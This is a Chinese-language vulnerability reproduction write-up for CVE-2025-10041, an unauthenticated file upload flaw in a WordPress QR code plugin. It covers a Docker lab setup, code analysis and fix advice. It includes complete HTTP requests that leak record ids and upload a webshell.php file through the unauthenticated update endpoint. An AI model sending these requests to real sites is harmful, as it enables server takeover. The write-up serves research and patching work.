WordPress Flex QR Code Generator文件上传 | CVE-2025-10041 复现&研究

0x0 背景介绍

WordPress的Flex QR Code Generator插件1.2.5及之前的所有版本中,由于save_qr_code_to_db()函数缺少文件类型验证,存在任意文件上传漏洞。这使得未经身份验证的攻击者能够在受影响站点的服务器上传任意文件,可能导致远程代码执行。

0x1 环境搭建

1. Ubuntu24+Docker环境复现

  • 另存为install.sh并赋予执行权限chmod +x install.sh
bash 复制代码
#!/bin/bash

echo "部署 WordPress Flex QR Code Generator 代码执行漏洞 (CVE-2025-10041)"
echo -e "\n======= 重建阶段 ======="
echo "[*] 创建新目录..."
mkdir -p /root/flexqrcode-cve && cd /root/flexqrcode-cve

# 创建 docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3.8'
services:
  wordpress:
    image: wordpress:6.5-php8.2-apache
    container_name: flex-qrcode-vuln
    ports:
      - "8082:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: rootpass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - ./wp-content:/var/www/html/wp-content
    depends_on:
      - db
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost"]
      interval: 15s
      timeout: 10s
      retries: 6

  db:
    image: mariadb:10.11
    container_name: flexqrcode-db
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: rootpass
    volumes:
      - db_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-u", "root", "-prootpass"]
      interval: 10s
      timeout: 5s
      retries: 10

volumes:
  db_data:
EOF

echo "[+] 启动 Docker 环境..."
docker compose up -d

# 等待 WordPress 安装页面就绪
echo "[*] 等待服务启动..."
until [ $(curl -s -w %{http_code} -o /dev/null http://localhost:8082/wp-admin/install.php) -eq 200 ]; do
    echo -n "."
    sleep 2
done
echo -e "\n[√] 服务已就绪"

# 下载漏洞插件
echo "[+] 下载 Flex QR Code Generator 插件 v1.2.5"
PLUGIN_URL="https://downloads.wordpress.org/plugin/flex-qr-code-generator.1.2.5.zip"
if ! wget -q "$PLUGIN_URL"; then
    echo "[!] 下载失败,尝试使用 GitHub 镜像加速..."
    wget -q "https://mirror.ghproxy.com/$PLUGIN_URL" || {
        echo "[!] 所有下载源均失败,请检查网络或链接。"
        exit 1
    }
fi

# 安装 unzip(如果未安装)
if ! command -v unzip &> /dev/null; then
    echo "[*] 安装 unzip 工具..."
    apt-get update -qq > /dev/null && apt-get install -y -qq unzip > /dev/null
fi

# 解压插件到 wp-content/plugins/
echo "[*] 解压插件..."
mkdir -p wp-content/plugins
unzip -q flex-qr-code-generator.1.2.5.zip -d wp-content/plugins/

# 设置正确权限
echo "[*] 设置文件权限..."
docker exec flex-qrcode-vuln chown -R www-data:www-data /var/www/html/wp-content

echo -e "\n======= 部署完成 ======="
echo "📌 访问地址: http://localhost:8082"
echo "🔧 安装配置建议:"
echo "  - 站点标题: Flex QR Code Generator RCE 漏洞测试 (CVE-2025-10041)"
echo "  - 用户名: admin"
echo "  - 密码: 设置强密码"
echo "  - 电子邮箱: cve-2025-10041@test.local"
echo
echo "✅ 登录后台启用插件:"
echo "    http://localhost:8082/wp-admin/plugins.php"
echo "    手动启用 'Flex QR Code Generator' 插件"
echo
echo "💡 漏洞说明:"
echo "    CVE-2025-10041 是一个潜在的远程代码执行(RCE)漏洞,"
echo "    可能存在于 flex-qr-code-generator <= 1.2.5 版本中。"

2. web安装成功后,需手动启用插件:

  • 这里不放图了.jpg

0x2 漏洞复现

手动复现步骤

  • 未授权文件上传

python检测

bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/CVE-2025-10041.py

复现流量特征 (PACP)

0、上传一句话

2、后续Shell命令执行:

0x3 漏洞原理分析

  • 根据漏洞信息提示是save_qr_code_to_db函数存在问题,那么我们直接在IntelliJ IDEA Community Edition 中,右键项目-在文件中查找 或者( Ctrl+shift+F 快捷键),定位到一个qr-code-generator.php文件

漏洞位置

漏洞位置:flex-qr-code-generator/qr-code-generator.php

关键函数:save_qr_code_to_db

注意到一个Logo上传功能

php 复制代码
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
    $logo = $_FILES['logo'];
    $upload_dir = wp_upload_dir();

    $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
    $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);

    // Create new filename with ID
    $new_file_name = $file_name . '_' . $inserted_id . '.' . $file_ext;
    $file_path = $upload_dir['path'] . '/' . $new_file_name;

    if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        $logo_url = $upload_dir['url'] . '/' . $new_file_name;
        $logo_url = str_replace(home_url(), '', $logo_url);

        // Update the database with the logo URL
        $wpdb->update(
            $wpdb->prefix . 'qr_codes',
            ['logo_url' => $logo_url],
            ['id' => $inserted_id]
        );
    }
}
  • 这块问题就有了,只检查了 $_FILES['logo']['error'] === UPLOAD_ERR_OK,典型没有检查文件扩展名或 MIME 类型
  • 在注释 // Create new filename with ID代码中能发现,落地文件可控,文件名格式为如下:
  • 其中 id 是刚插入数据库的自增ID,响应体会显示
php 复制代码
{original_name}_{id}.ext,

查找调用关系

  • 通过全文搜索发现,Logo 上传功能被两个函数调用:
php 复制代码
update_qr_code()
save_qr_code_to_db()
  • 进一步查找这两个函数的注册钩子发现调用如下:
php 复制代码
add_action('wp_ajax_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);

// update qr
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
  • wp_ajax_nopriv_flexqr_save_qr → 调用 save_qr_code_to_db()

  • wp_ajax_nopriv_flexqr_update_qr → 调用 update_qr_code()

小知识:nopriv:WordPress 的 AJAX 机制

  • 已登录用户:使用 admin-ajax.php,通过action参数触发对应的处理函数
  • 未登录用户:也使用admin-ajax.php,但需要特别允许
  • nopriv no privilege 的缩写,意思是"无权限要求",当注册钩子为: wp_ajax_nopriv_xyz,意味着:即使用户未登录,也可以调用这个接口。

其它实现姿势

所有未授权可访问的接口

php 复制代码
add_action('wp_ajax_flexqr_save_qr', [$this, 'save_qr_code_to_db']);

add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);

// update qr

add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);

add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

add_action('wp_ajax_flexqr_fetch_qr_code', [$this, 'fetch_qr_code']);

add_action('wp_ajax_nopriv_flexqr_fetch_qr_code', [$this, 'fetch_qr_code']);

// search qr code by name

add_action('wp_ajax_flexqr_search_qr_code_by_name', [$this, 'search_qr_code']);

add_action('wp_ajax_nopriv_flexqr_search_qr_code_by_name', [$this, 'search_qr_code']);

// fetch contents by type

add_action('wp_ajax_flexqr_fetch_content_by_type', [$this, 'fetch_content_by_type']);

add_action('wp_ajax_nopriv_flexqr_fetch_content_by_type', [$this, 'fetch_content_by_type']);

那么如上的接口原理都可以未授权访问,这就有多姿势进行绕过了,介绍其中一种
上面复现脚本是直接上传RCE,注意区分

  • 信息泄露+更新接口,组合拳->实现RCE
    1、信息泄露获取id
    已知,/wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code可以未授权查询当前文件如下构造
bash 复制代码
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Length: 18

per_page=50&page=1

响应 如下:

bash 复制代码
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }
        xxx

2、根据id值进行更新上传

bash 复制代码
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

成功响应

bash 复制代码
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

3、请求验证是否更新成功

bash 复制代码
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

响应

bash 复制代码
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • 由于update_qr_code()save_qr_code_to_db() 均支持未登录调用nopriv
  • 且上传逻辑 未校验文件类型
  • 攻击者可通过 信息泄露获取 ID,再通过update 接口上传更新任意文件
  • 最终实现 未授权文件上传 → RCE

0x4 修复建议

修复方案

  1. 升级到最新版本:已发布1.2.6版本,可更新1.2.6仓库
  2. 临时缓解措施:
    添加访问控制 :移除 nopriv 钩子或添加适当的权限检查。
    严格校验上传文件类型 :增加校验文件类型, 仍需避免绕过。
    禁止上传目录执行 PHP : 在 wp-content/uploads/.htaccess 实现。
    上传文件重命名:避免原始文件名被利用或被猜测;

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
JaguarJack6 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo6 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack1 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
一个人旅程~2 天前
如何用命令行把win10/win11设置为长期暂停更新?
linux·windows·经验分享·电脑
Factory_Audit2 天前
亚马逊社会责任验厂审核标准及注意事项
大数据·经验分享
江南小书生2 天前
制造业系统赋能成熟度自测表(实操版)
经验分享·非标制造
longxiangam2 天前
Composer 私有仓库搭建
php·composer